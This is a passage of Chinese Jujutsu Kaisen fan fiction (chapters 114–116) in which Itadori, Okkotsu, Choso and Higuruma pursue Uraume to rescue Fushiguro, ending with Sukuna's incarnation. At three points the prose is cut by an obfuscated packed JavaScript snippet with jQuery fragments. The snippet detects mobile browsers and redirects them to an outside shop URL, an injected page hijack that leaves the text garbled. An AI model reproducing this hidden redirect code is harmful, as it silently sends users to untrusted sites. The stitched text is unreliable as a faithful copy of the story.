“这个......”胀相想要解释却发现无从开口,最终只能直接叫出小金虫试图从名单里找到里梅和被她带走的伏黑惠的下落:“边走边说,悠仁。他是日车。”
“日车宽见,是个律师。”
粉发少年凝神盯着他看了两眼,日车宽见在此期间就已经大致猜出了他们的名字。毕竟伏黑惠的故事已经说得很明显了。
“我是虎杖,”虎杖悠仁指了指自己,又把乙骨忧太拉了过来,“乙骨。”
“我是锅锅事务所的高羽史彦!”
虎杖悠仁还是第一次看见胀相露出这种欲言又止的表情,颇觉有趣,但现在又不是细说的好时机,正打算回应高羽史彦,却被胀相直接打断了:“他们离开结界了。”
乙骨忧太联系了机械丸。
“......我知道了,”机械丸接到乙骨忧太的电话时有点惊讶,但很快便进入工作状态,迅速让散落东京周围各处的机械造物寻找里梅的身影,“给我五分钟。”
在等待的时间里,虎杖悠仁和乙骨忧太从日车宽见口中了解了这几天发生在池袋剧院的战斗以及他们勉强建立起来的同行队伍。
“你说你们是兄弟,”日车宽见问胀相,“那虎杖也像你一样是人类和咒灵的混血?”
胀相看着正在和乙骨忧太谈论着什么的粉发少年,否认道:“不。悠仁和我们不一样。”
他是个善良、温柔又执着的人,哪怕身体里与他们一样流着“受诅咒的血”,但他的心灵从未被腐蚀,坚定着自己人类的身份,如今又找到了理想与爱......胀相看着乙骨忧太不爽地撇嘴。
他将这种情绪归咎于自己尚不怎么了解乙骨忧太,而绝非狗血肥皂剧里那些总是爱给主角的爱情找麻烦的亲朋好友。或许他还有点生气吧,为了乙骨忧太在涩谷直接带走了虎杖悠仁这件事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378253|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虎杖悠仁看着身边的乙骨忧太打了个冷颤,疑惑地问:“你很冷吗忧太?”
黑发少年摸了摸后颈,觉得从身后投来的视线令他如芒在背,于是苦恼地眯着眼睛皱眉说道:“我感觉胀相好像不太喜欢我。”
“有吗?”虎杖悠仁从他身旁探出头去看九相图兄长,发现他闪开的视线后失笑:“你们只是相互还不太了解啦!他是个好人,也是个好哥哥。”
显然他也想到了一些电影中的经典情节,并安慰乙骨忧太胀相并不会那样想。
“......希望是这样,”乙骨忧太搓搓手臂,选择继续他们刚才的话题,“为什么里梅会找上伏黑同学?如果是为了给宿傩找一个合适的容器......他在这方面有什么特别的地方吗?难道只是看中了【十种影法术】的术式?”
“也许还有耐受性吧?对毒的耐受性,或者肉|体作为容器的天赋......也许是在回收手指的时候被她盯上了吧。”
虎杖悠仁知道里梅当年打的是什么主意。她觉得可以等虎杖悠仁摄取大部分手指之后再一劳永逸,将他当做承载宿傩大部分力量的咒物送给在其他容器中受肉的诅咒之王,在涩谷时她就想这么做了,但是没想到遭到了虎杖悠仁的拼死反抗。
“里梅没有当场喂下手指,”虎杖悠仁苦笑了两声,“大概是受到她想要准备周全的心思影响了吧,当初也是,毕竟高专那里还有手指,在薨星宫外完成受肉,宿傩也不必再亲自过去了。”
这对他们来说反倒是个好事,这意味着在诅咒之王真正受肉之前,他们还有挣扎的余地。
“只是四根手指而已。”乙骨忧太说道。
虎杖悠仁戳了戳他的腰:“口气好大啊,乙骨前辈。”
他故意将那几个字咬得很重,预料之中地看见了乙骨忧太觉得新鲜又不知所措的表情。
不自觉放了狠话的乙骨忧太在他的调侃中放松了一点,有点不好意思。他只是下意识地说了出来,就像是平日里收敛得极好的战斗欲在这一刻终于露了馅......这几乎成了他的一种本性,但并不意味着它一定要得到满足。
乙骨忧太更愿意称它为战斗的理由。之一。
机械丸给出了答复:“他们正在往西边前进。在天上,我的傀儡没办法靠近,极寒咒力会影响它们......其实目的地已经很明显了,如果你们了解过两面宿傩的传说——不是他作为诅咒之王,而是某种地方传说——她要去岐阜。”
胀相和日车宽见对此没有任何了解。
“那边是......”
“那边不是——?!”
虎杖悠仁和乙骨忧太迅速反应了过来。乙骨忧太曾经仔仔细细地将两面宿傩真假难辨的传言、传说研究了一遍,但在得知他并非真正的诅咒,只是因为两面四手、貌似鬼神而被赋予了两面宿傩和诅咒之王的名号之后,就意识到他必须将真正的宿傩与“两面宿傩”的传说分开看待了。
但看来传说并非完全空口无凭。
“飞驒地区是两面宿傩传说最盛行的地方,而那边恰好有国内最重要的四大净界之一的飞驒灵山净界。”后排的乙骨忧太说道。
日车宽见作为他们之中唯一达到了合法驾车上路年龄的成年人类,开车带着他们迅速向机械丸提供的方向前进,闻言提问道:“净界?”
“是更高等级的结界,”乙骨忧太解释,“里梅去那里肯定有原因。”
高羽史彦没有跟他们一起走,来去自如的喜剧超人决定继续他的“寻宝之旅”。虎杖悠仁推测道:“那里有什么东西吗?宿傩又不是真的诅咒,也能借助传说的力量吗?”
乙骨忧太倾向于也许真的有什么东西在那里。
“天使呢?”
以她飞行的速度现在差不多应该还没到东京,也许能半路改道在岐阜附近汇合。
“她应该不会真的一直在飞吧?来栖没提议坐个新干线什么的吗?”
虎杖悠仁想了想,如果是他自己长出了翅膀还能飞的话:“说不定会觉得很新鲜所以一直飞着吧。”
来栖华的确还没到东京,路上在天使的指引下诛灭了几个跑到结界外的受肉|体耽误了一些时间。
“诶?阿惠不在东京了?”她翻着小金虫的名单,在天上的好处就是不用太在意“路况”,只要小心飞鸟和坏天气就好。
“所以我让你跟他们要伏黑惠的电话。”天使说道。
“啊、嗯、这样进展是不是稍微有点太快了?!”
天使在这方面没什么经验,所以也提不出好建议:“会吗?你该不会见到他之后一句话也说不出来吧?”
“......的确还没想好说什么,”来栖华还记得那个冬天脱兔们围绕着身体的温暖触感,也许伏黑惠早就遗忘他自己在小时候曾救下过许多人了吧,“而且他们看起来似乎也有什么分歧。”
将她和其他孩子们一起从咒灵手中救出来的三个少年......
“华,有什么东西靠过来了。”天使提醒道,来栖华止住身形,伸手直接捉住了径直飞入她怀中的机械造物。
“这是什么东西?咒骸?”
她被突然开口说话的机械造物吓了一跳。
“我是机械丸,伏黑现在被里梅带往岐阜,乙骨和虎杖他们已经追过去了。”在传达信息这方面,机械丸懂得如何在最短的时间内说清楚事情的原委。
几乎没有任何犹豫,来栖华的身影在空中一转,跟随着机械丸的指引向同样的方向前进。
115. 第 115 章
“如果我们运气够好的话能在半路拦下她。要是你们的推测是正确的,她的目的地真的是高山市附近,我们至少需要五六个小时的车程,”日车宽见的手指在方向盘上点着,他倒是没有疲劳驾驶的意思,在掌握了用咒力强化身体的方法之后,普通意义上的疲惫已经与他无缘,“最好找个时间统一休息进食。”
去那边的话,乘新干线加特急电车的时间和驾车差不多,到岐阜县怎么都会入夜了。
现在已经是下午四点左右,这个时候乙骨忧太在里香那里存下来的补给品就派上了用场。
好吧。日车宽见自觉对这两个少年的了解还是太浅薄了。
“所以说,”虎杖悠仁反倒对他显露出了超乎寻常的兴趣,“日车先生的术式居然自带领域?!”
日车宽见从后视镜里对上了少年亮闪闪的眼睛,不知道该怎么回复:“大概是吧。”
“和秤学长的术式类似吧?他是三年级的学生,也是一种自带领域的术式。”
“诛伏赐死”和“坐杀博徒”的领域并非广义上的领域展开,的确非常特殊。
虎杖悠仁和坐在副驾驶的胀相问起血涂他们的事,日车宽见则与乙骨忧太说起一些他一直没能得到解答的问题。
毕竟在咒术上他完全凭借自己摸索着前进,连强化术都是根据术式自带的领域领悟出结界术的要领之后自行研究出来的,一些咒术师们习以为常的常识对他来说反倒陌生得很。
“我还以为你们会问起‘诛伏赐死’的具体内容。”
“这个啊,我真正和咒术师们一起行动的时间也不太长,但保守术式信息几乎是每个人都会遵守的潜规则,毕竟还有术式公开这样的技巧存在......除非事态紧急,否则不会要求同伴们说明自己的术式吧。”
乙骨忧太知道的术式也就仅限于东京校的同学们,京都校那边只是听说过大概,比如禅院真依的【构筑术式】和西宫桃的【付丧操术】之类的。至于东堂葵,他没参加过交流会,所以只从熊猫那里听说是能够换位的术式,总之很难对付。
“现在这算是紧急事件?”
乙骨忧太看向车窗外倒退的景色,天已经半暗,远离太阳的一方显出深邃的蓝。
“嗯,”他有点模棱两可地说,“宿傩受肉前不算吧。”
日车宽见看着前路:“我是说死灭回游。”
“......”乙骨忧太吸气:“我更正一下说法。应该是‘全力以赴面对共同敌人的时候’吧。”
精英律师开始觉得这身湿透又被冰冻过一次的西装有点不太舒适,但现下又没有可以更换的衣物,最后只是扯了扯领带:“所以你们只是朋友。”
乙骨忧太顿了几秒,回道:“说是同伴也没什么错。”
前座的人终于停下了问话。不得不说律师的眼光的确敏锐得可怕,几句话就大概将伏黑惠、虎杖悠仁和乙骨忧太之间复杂的身份关系摸了个清楚。
一个咒术师、一个诅咒师(这个存疑),还有一个夹在中间的。
尽管事已至此,他还是想感叹一句:高中生就好好去上学啊。
“你没问题吗?要休息一下吗?”虎杖悠仁问乙骨忧太,拍了拍自己的肩膀。他想着对方在薨星宫外和九十九由基打了一场,哪怕对乙骨忧太的实力有绝对信任,也知道对方那种恐怖的咒力量不会轻易感到疲惫也根本不可能枯竭,但多少还是希望他能有一个更好的状态。
车里不再有人出声,乙骨忧太顺从了虎杖悠仁的意思,靠在他的肩膀上闭目养神。没人能在这种情况下真的睡过去,但贴靠着亲近的温度与气味总还是让乙骨忧太多少恢复了一些心气。
简言之,就是在充电。
胀相在前面眼不见心不烦。
虎杖悠仁挑了个他们都很舒服的姿势。他没有休息,而是将联络用的小号机械丸拿到了自己这里,结合机械丸提供的信息和他自己的咒力感知试图判断他们有没有可能直接在半路追上里梅。
如果太晚追上去的话......虎杖悠仁在乙骨忧太看不见的地方皱起了眉。
他无论如何都不想让那个可能性变成现实。
一只手伸了上来,似乎心有灵犀般拂过额头的沟壑,然后盖住了他的双眼。
“休息一下,”乙骨忧太说,“之后彻底结束它。”
同一时间,高专众人同时得到了伏黑惠遇袭的消息,能够集结起来的咒术师们也先后出发,准备前往飞驒灵山净界附近汇合。无论如何,绝对不能让两面宿傩受肉。
“两面宿傩......他这么强大,为什么还会被做成咒物?”吉野顺平看着机械丸逐一联系七海建人等人,甚至远在东北的钉崎野蔷薇也开始往这边走了,他只能插空问道。
“他不是‘被’做成咒物,”机械丸说,“平安时代的咒术师们群起攻之也没能杀死他。现在来看他应该是老死的,寿终正寝。恐怕也是主动和羂索签订契约,将手指做成咒物等待时机复活的吧。”
不管在哪个时代,诅咒之王总能掀起腥风血雨,以至于他的名号在千年中甚至一度成为了某种诅咒。
不过机械丸还留了一点小心思。为了阻止宿傩受肉,虎杖悠仁、乙骨忧太、来栖华和咒术师们都会聚在一起......不知道有没有机会解封狱门疆。
远远跟在里梅身后的机械造物传回的影像中出现了新的变故。
“乙骨同学!她停下来了!”三轮霞立刻通过小号机械丸大声告知了追击者们这一情况。
太阳尚未完全落山,银白的月影已经出现在了天空中,一东一西。看起来今夜无云。
日车宽见扫了一眼地图。
瞬间惊醒的少年们选择抓紧机会:“直接追过去!”
精英律师直接猛打方向盘,险之又险地赶在最后一秒下了公路,奔着里梅停下来的方向径直开了过去。
无路可走的时候,就该由里香上场了。
白色的式神完全显现了出来,风驰电掣般地前行着。
一直注视着天边的虎杖悠仁瞳孔一缩。
“来栖还有多久?”乙骨忧太问道。
“二十分钟左右。”机械丸的声音掺杂着电流声,在狂风中被打得粉碎。
虎杖悠仁深吸了一口气,对着逐渐放大的黑影厉声怒吼:“里梅——!!!你这混蛋——!!!”
看清她脚下踩着的冰封物,过去的记忆重新涌入了身体。
在坚冰中几近窒息,极寒无孔不入,从紧贴着的皮肤表面钻入血肉、爬进骨髓。
直到大脑因为缺氧而失去意识之前,被困在其中的人都能清晰地认识到自己已经无力反抗,只能眼睁睁任由他人决定自己的命运。
千年前的诅咒锁链垂落到了现在,有人想要拽住它、连上它......心中沉积太久太久的仇怨都在此刻完全爆发了出来,虎杖悠仁太需要一个发泄的出口,为那些他想不明白的事、不敢想明白的事,甚至还有一些他从始至终都不可能明白的事找到可以尽情憎恶的东西。
不需要为它们一一找到理由,他让自己完全坠入了负面感情构成的洪流中,任由其带他冲向大海。
猩红的血团被胀相拍在双掌之间,初动能够超越音速的“百敛·穿血”随着术式主人的操纵瞬间爆发。凌空穿行的血线带着灼热的蒸汽,直击半空中因为虎杖悠仁的怒吼而回头的白发术师。
里梅啧舌,抬掌挡住了射向头颅的【赤血操术】。
九相图们的血液中含有毒素,在东京第一次对战九相图的时候她就已经领会过了。反转术式解析未知的毒素需要一段时间,但现在......“穿血”恐怖的初动带来的冲击已过,里梅的手掌也露了出来。
滚烫的血破开了她手掌前用被压缩到极致的咒力创造出来的坚冰,可仍旧差了半分,未能彻底穿透。
反转术式已经适应了九相图们的毒素,就算再次中毒也能像普通的伤口一样迅速修复。
里梅环顾四周,确定了自己的位置之后,跺脚让下方困着伏黑惠的冰块砸向了地面。
虎杖悠仁跟着自己的吼声直接腾跃而起,乙骨忧太的眼睛盯着他,语速极快地对胀相和日车宽见说道:“我和悠仁来对付她,你们去找伏黑同学!”
从白色式神身上跳了下去的日车宽见对此没有异议。他在坠落的过程中抬头最后看了一眼,粉发少年跃起时的力量感毫不作假,可现在他的腾跃看起来轻盈得过分,让他滞空的时间被无限拉长......简直就像摆脱了重力一般。
稳稳落地,日车宽见跟着胀相向密林中跑去。这片区域接近山区,如果他没猜错的话,旁边应该就是飞驒山脉了。他们肯定还没到高山市,但估计也大差不差。
“她不会让容器死的,所以我们还来得及。”胀相在前方开路,几乎横冲直撞地在灌木矮树与藤蔓间闯出了一条笔直的隧道。
日车宽见觉得胀相一个人应该也差不多,他的术式在加热血液后多少还能融化坚冰,但“诛伏赐死”在这方面有什么用?
那种一动就可能连着皮肤和骨血一起碎掉的坚冰又不可能用法槌直接敲开。
密林的阴影扫过他们,时间犹如被加速了一般,夕阳完全掉了下去,前方徒留连月光也无法穿透的黑暗。
“动动脑子,日车,”跑在前方的胀相声音抖动着传了过来,日车宽见闻言瞪大了双眼,“你不是天才吗?”
所以说——咒术和法学是不一样的。
“你只用了十天就达到了很多咒术师终其一生也难以望见的高度,不需要否定你自己在咒术上的天赋,”九相图兄长第一次和日车宽见说这么多话,而且听起来像是在劝慰、引导着什么,“我们都能看得出来。”
日车宽见并非看轻了自己身上明晃晃的“天赋”。不论是法学还是咒术,他都幸运地成为了那块原石,只需稍加打磨就能露出璀璨的一角。但听到胀相的话后,日车宽见很难说那是一种什么样的感受。
被信任吗?若说这是第一次,那怎么可能有人相信呢?应该用久违来形容吧。庭上等待辩护的嫌疑人、投来殷切目光的家属、总是爱跟在他身后半步的同僚......并非他已很久都没收到过信任,而是他已经忽视了它太久。
在没有自觉却已经对发生在眼前的诸多无法理解、无法认同的事产生怀疑,在最初挥动法槌终结那场并不满意的审判之后,他才恍然意识到自己早已吝啬于将同样的信任投入到曾经信赖着的六法全书、投入到那个神圣的审判庭中去,也早已不再信任自己——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378254|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不论怎样高举明灯也无法驱散黑暗之人。
可仍有人明知不管怎样努力黑暗都会蔓延,却依旧选择坚持自己的本心。看到这样的人头也不回地冲向远方,居然也让日车宽见疲惫不堪的心脏甩掉了累赘的重物,重新搏动起来。
在视线透过胀相的身影与层层叠叠的林木望见那块坚冰的时候,日车宽见的身后出现了具现化的式神审判者。双目被紧紧缝起的黑色式神在法槌落下的瞬间开启了领域,漆黑的结界从日车宽见脚下开始蔓延,地板、审判席、检察官席一一落成,西装革履的精英律师站上了自己的位置。
重审开始,日车宽见将伏黑惠再一次拉入了“诛伏赐死”的审判庭中。
胀相与日车宽见感觉到的黑暗并非全都可以归咎为太阳落山,因为紧贴着树冠生成的层层冰浪挡住了大部分夕阳,卷起的浪头势不可挡地向前推进,却被炙热的斩击逐一切碎,冰屑纷飞,像是初雪一般落满了树梢。
“里香!去配合悠仁!”
里梅踩在冰浪的顶端,虎杖悠仁直接用术式飞身冲了上去。
白色的式神依言追逐着粉发少年的身影,在躲避球游戏和数不胜数的对练中磨出来的默契让一人一式神的围攻逐渐占据了上风。乙骨忧太追在后面。
但“冻星”绝非浪得虚名。
【冰凝咒法】和被吹向己方的极寒咒力不论是范围还是施术速度都比虎杖悠仁上次见到她时强了太多,以铺天盖地的势头冲向他们。
虎杖悠仁感觉到了一丝违和感。
那种感觉就像是粘在皮肤上的蛛丝,小的时候跑过鲜少有人经过的森林或装满杂物的库房时偶尔会被它们黏上,带来轻飘飘的痒意,看不见也没办法用手指捻去,只能拍打着那片皮肤试图将其掸开。
烦躁,但却无伤大雅。
所以虎杖悠仁暂且将之放到了一旁。
微小的冰晶在贴到高热的皮肤后瞬间融化,变作雨滴一样的水珠被向后的风抹去,留下无人在意的水痕。
里梅感受到她制造出的冰浪被一层层剥穿,虎杖悠仁的破坏力惊人,如霹雳般长驱直入。
只是过了半个月而已,他身上同样发生了天翻地覆的变化。
最直接的大概就是眼神了吧。
里梅在涩谷见到他时,少年的眼睛里虽然闪烁着同样的执着,可单纯的倔强与不甘中染上了一些别的颜色,让年轻人身上的锐意锋芒被调和。很难说一个人变得复杂起来究竟是好事还是坏事,身上单一且乏味的色调在与更多颜色融合后看起来更加和谐。
但来自千年前的术师却耻笑这种所谓的成长。
就像她曾经对虎杖悠仁说过的,现在的术师总爱将自己困在轻而易举就能突破的条条框框中,甘愿自我囚禁。
只有更纯粹的家伙才更接近自我。
“所以,这就是你一事无成的原因,虎杖悠仁。”里梅扯过自己的僧衣,宽大袍角挡住了隐藏在后面的另一只手。
执着于人类的身份,不忠于自己的力量。
里梅的话像是从琴键后跳出的音符,颗粒分明却组合成了一段怪异的旋律,被认同的那部分娓娓动听,剩下的就是不堪入耳的杂音。
高大的式神狠狠挥臂,虎杖悠仁借着它的力量将自己的速度提升到了极致,宛如坠地流星一般向里梅所在的地方砸落了下去。
扭曲的冰锥旋转着从他身侧擦过,晶莹的锥体表面带走了鲜红的液体。
里梅微微后退,任由虎杖悠仁打碎了她站立的地方。坚冰碎裂的声音从极远的远方传来,伴随着隆隆的闷响,像是整片大地都随之一同裂开、只留下深不见底的幽谷。
近身战应该是虎杖悠仁的强项。出拳的力道在不断加重,持续的连击让里梅开始疏于防守,不断有拳头越过她的防御击中她的身体。
随着挥拳打出的斩击也正中目标,飞溅到空中的血滴又被紧随其后的进攻打得粉碎。
虎杖悠仁终于发现究竟是哪里让他一直觉得违和感满满。
是里梅的眼神。
从她的双眼中看见从容的那一刻,虎杖悠仁似乎意识到了什么。
古代术师将极寒的咒力附于手掌上,每一次抵挡都会让那两条手臂上多一片冰霜,尽管它们最终都会在体温与挥拳的动作中化为碎裂的晶体,但数次反复的冰冻还是让虎杖悠仁双手皮肤的表面出现了红疮与裂痕。
如同他留在里梅身上的切痕一般,他们都不约而同地没有在意这样的伤,只有一小部分正极能量被用于治疗它们。
双脚稳稳踏上地面的瞬间,虎杖悠仁改变了动作。拳路的轨迹还是一如既往,里梅抬臂抵挡,没成想这次的进攻在触及身体的刹那变为了锁死她下一步动作的枷锁,猝不及防之下她被完完全全锁在了原地。
头顶亮如白昼。
仿佛能将整片天空全都填满的光阵完全展开,能与日华媲美的光芒照彻夜空。
动弹不得的里梅昂首,从余光中瞥见了半空中的乙骨忧太。
黑发少年手持式神交给他的号角,立于光阵之下,周身环绕着某种由生得术式具现化出来的产物。
它们戴着头骨面具,像是老油画中的小天使们一样飞在他的身边。
乙骨忧太吹响了号角。
116. 第 116 章
——光啊,净化世间万物之光,负其罪孽担其忧,带他到主座前来。
戴着头骨面具的小天使们奏响了圣乐,黄铜号角平直又悠长的声音响彻天际。刹那间从乙骨忧太身后爆发出的明光拒绝了一切窥视,粗壮的光柱如神罚般轰然落下,里梅的身影在“雅各布天梯”中急速褪色。
天使的术式能够令其他术式无效化,可以终结包括封印术在内的结界。对受肉|体来说更是能够直攻灵魂的重击,天使坚守的戒律更让她的术式在对付受肉|体的时候能够发挥出更强的力量。
乙骨忧太同样也看不见光柱打下的中心发生了什么事,等手中的黄铜号角消散,他立刻以最快的速度向下落去。
背生双翼的少女远远地看见了照亮夜空的光阵,惊呼道:“天使?!那不是你的术式吗?!”
“加快速度,华!我有种不好的预感。”
虎杖悠仁感觉到里梅挣脱了他的束缚,一双手反过来锁住了他的手腕。尽管他与里梅同在“雅各布天梯”的术式范围内,但他们两个人承受到的伤害却天差地别。
术式的施用同时失效,虎杖悠仁只是觉得头顶传来了宛如夏日烈阳暴晒一般的感觉,发顶发烫,还有总会被他误认为是头发被晒焦了的味道灌入鼻腔。光的重量很沉,但还不至于压跨他的肩膀。
但里梅的模样就没有他这么从容,身为受肉|体的她结结实实地受到了重击灵魂的进攻,对容器的掌控甚至在耀眼的光中出现了震颤,仿佛这真的是天神降下的光芒,试图将她从容器的身上剥离出去。
可是粉发少年却狠狠皱起了眉头。里梅抓着他手腕的力道极大,几乎要直接攥断那些骨头似的。虎杖悠仁扯动了一下,居然没能挣脱。
“这就是我说的......不肯承认自己是怪物的下场啊,”刚才还在狼狈嘶喊的古代术师抬起头,鲜血顺着眼角、鼻腔和嘴巴汩汩淌着,可她却在笑,“你们两个简直如出一辙!”
虎杖悠仁拧身扫腿回踢,里梅的身体一歪,表情逐渐被狰狞与疯狂覆盖。粉发少年只能听见自己胸腔中鼓噪的心跳声:“你们......难道?!”
乙骨忧太将假想的质量附加在自己身上,蓦然沉重的身躯带着他加速下坠。利刃划过,远远看去白刃在月下的弧光就像劈开了空气一样,直直插入枝叶繁茂的树海中。
“诛伏赐死”的术式领域内,日车宽见扶起了几乎完全丧失意识的伏黑惠。这个审判庭不止可以降下刑罚,还能被当做临时的庇护所像这样将术式对象从困境中拉出来。
少年咒术师垂下的手突然抓住了日车宽见,残存的意识驱使着他拖着这副身体完成了最后的执念,奋力张开了嘴。
“......”
声音由弱变强,日车宽见终于听清了从他口中说出的话。
“——别让虎杖过来!!!”
为时已晚。
虎杖悠仁在大地裂开的缝隙深处窥见了升起的深红星星。
这让他想起了漏瑚的岩浆,连它们喷出的带有硫磺味的刺激性气体都烫得可怕。但这一次不一样,从大地之下散发出来的邪恶气息让他难以分辨,就像是他的身体早已熟悉这股力量,仿佛他们本就同源一体。
他眼睁睁看着大地隆起,土块一个个都被切得方方正正,其下蕴藏的力量终于再也遮掩不住,轰然爆发。
不可抵挡的斩击扑面而来。
赤红瞬间蒙住了他的视觉,紧随其后的便是地动山摇的震荡与天旋地转的眩晕,脚下踩的地面变得像是云朵一样绵软无力,根本无法提供任何支撑让他保持平衡。
斩击是有声音的。
它们撕裂空气,发出用小刀剖开白纸一样的声音,利落、干脆,不像指甲刮擦玻璃那般刺耳,却依旧折磨着耳道,在心头留下可怕的颤音。
里香的尖叫唤回了虎杖悠仁的神志,它连声喊着痛,虎杖悠仁奋力眨眼想要安慰它,却发现自己翻不过身。哪怕仰头抬到了极限,他也看不见里香和乙骨忧太的身影。
“忧太......忧太、悠仁......忧太、忧太——”
剧痛是最后惊醒的噩梦。虎杖悠仁摸到了空荡荡的肩膀。
反转术式......快用反转术式——
好痛。
乙骨忧太从白色式神破损的双臂间挣扎着起身,身前从颈侧斜着拉到右腹的狰狞伤口正淌着血,脸颊和额头也有温热的液体向外涌着,半侧的视野看不太清。
他抿着嘴,大脑混乱又异常清醒。
他不明白灾祸为什么会降临此地,却无比清晰地知道自己现在应当做些什么。从地下发出的斩击毫无疑问来自诅咒之王,不论是逸散在空中的咒力还是压倒性的邪恶都一定来自两面宿傩。
地下?地下有什么——
别想这些!现在最重要的是让悠仁离开那里!
地面被蜂拥而出的斩击切割得支离破碎,空洞的边缘不断坍塌着,幸运的是他和虎杖悠仁都还没有掉下去。
冷静。必须冷静。没关系的,还来得及。
什么都照不出来的黑色眼睛扫到了白发诅咒师的身影,乙骨忧太的声音撕裂了夜幕:“悠仁!!!跑起来!!!”
里梅挥起的手臂尚未落下,就被灌注了狂暴咒力的长刀贯穿了胸膛。那柄刀势如破竹,击碎了坚冰,撕开咒力的防御,洞穿了血肉之躯,沉重的力道直接将她钉入了地面。
乙骨忧太的双手用力到微微颤抖,拧动刀柄撕开了诅咒师的半边身体。
虎杖悠仁踉跄着翻身,从几近晕厥的屏气中快速恢复呼吸,身体两侧不平衡的重量与耳边持续不断的液体泼洒声已经昭示他究竟发生了什么。
他想要运转正极能量使用反转术式,但逼近的冰棱不允许他待在原地集中精力恢复那条被斩飞的手臂——他不习惯骤然变轻的半边身体,哪怕爬起来也像是喝醉了酒一样向另一侧倒去。
他当然听见了乙骨忧太的喊声。那声音里带着他从未听过的急切与惊惶,他觉得自己的心像是初春时只剩一层的薄冰,被它轻松地击碎了。
“直瀑”的冰锥已在虎杖悠仁头顶凝结,它们晃动着,森然林立,摇摇欲坠。
当他终于顶着陌生的平衡感站起身,踩着像棉絮一样松软的土壤,紧贴地面坍塌的边缘跨过他自己的断臂向前跑了一步之后......却再也没能迈出第二步。
“他离得太近了。好好看着吧,凡夫俗子们,”里梅全然不顾腰间可怖的创伤,直接用咒力强行封住露出脏器的缺口,脑后的红色发丝浸染着真正的鲜血,“何为真正的诅咒!!”
从斩击中恢复的白色式神咆哮着挥拳将里梅打飞,乙骨忧太扭身全力向虎杖悠仁所在的方向冲去,爆发的咒力让本就松散的地面再也无力支撑,肉眼可见的裂痕开始蔓延,像是地面之下已经被完全掏空了一般。
虎杖悠仁的视野纷乱地晃动着。他趴在地上向后看了一眼,发现了导致自己再一次摔倒的元凶。
连脚也......
手指深深扣入泥土,只留下了无力的抓痕。
就算受肉,宿傩也只有四根手指啊?!
“我......”虎杖悠仁看见了乙骨忧太冲过来的身影,那张脸也糊成了一团残像。
身下的地面开始塌陷,他什么也抓不住。反转术式正在修复他的断臂,新生的血肉伴随着刺骨的疼痛生长着,但来不及了。
乙骨忧太看清了一切。他清清楚楚地看见了虎杖悠仁无法聚焦的眼瞳中满是不甘和愤懑,那样的眼神如有实质,化作尖刀在他身上硬生生剜去了一块,令他不由自主地战栗起来。寒意钻心剜骨,不管重复多少次,乙骨忧太都没办法坦然接受他生命中重要之人离他而去。
仿佛灵魂脱离了身体,让他亲眼看着他坠落。
他绝不接受。
“胀相——!!别让虎杖掉下去!!!”日车宽见拖着伏黑惠从领域中脱离,早已留意到另一方出现意外情况的胀相压榨出全部的咒力化作血液,铺成了一条“运河”。
横亘的血幕与虎杖悠仁擦肩而过,拦住了部分从天而降的冰锥,随即被更多的坚冰刺穿,徒留炙热的血液接触严寒后腾起的漫天白气。
乙骨忧太毫不犹豫地纵身跃下,胀相紧随其后,但拦在他们面前的是一个“帐”——拒绝了所有术师出入,除了虎杖悠仁。
疯狂的咒力支持着【星之怒】的运转,乙骨忧太屏气聚力,一拳砸碎了这该死的结界。碎裂的结界碎片里映着他们的脸,月光从敞开的洞口落下,照出了他们正下方宛如镜面一般的黑色平面和被冰锥刺穿的虎杖悠仁。
在最后一刻他放弃了反转术式,操纵自身的重力在撞上那光滑得过分的地面之前勉强停了下来。
虎杖悠仁看着眼前荡起阵阵涟漪的“地面”,恍然意识到这是一片散发着浓重腥臭味的深池,他以为的地面不过是漆黑如镜子一般的池水。诅咒之王的气息就在这里。
快上去、这下面还有什么东西——
“——!!!”
黑池中冒出的血盆大口将他吞了进去,泛白的水花彻底带走了乙骨忧太最后的理智。
咚、咚咚。
伏黑惠在混乱中醒来,听到了能与心脏共鸣的沉重搏动。能够直抵灵魂深处的恐怖咒力从前方不远处弥漫开来,同样的方向还能看见白色式神高大的身影在树海中起伏,与冰浪激烈搏斗着。
这股气息——?!
“还是......晚了一步吗?”他离开日车宽见的搀扶,想要冲向那个足有半个足球场大小的空洞,却被从地面之下飞出的斩击逼退了。它们分明无形,却掀起了极为可怖的气流推开了周遭一切渺小的尘埃。
没有错,这个感觉、肯定是两面宿傩受肉了!!
“可恶!!!”被逼退的伏黑惠暗骂道。里梅根本就是为了将虎杖悠仁引到这边才带着他走的,宿傩早就在别的容器身上受肉了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378255|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陌生的癫狂笑声在地下空间中回荡着,从黑池中起身的人将额头恼人的发丝向后梳起,畅快地呼吸着久违的自由空气。
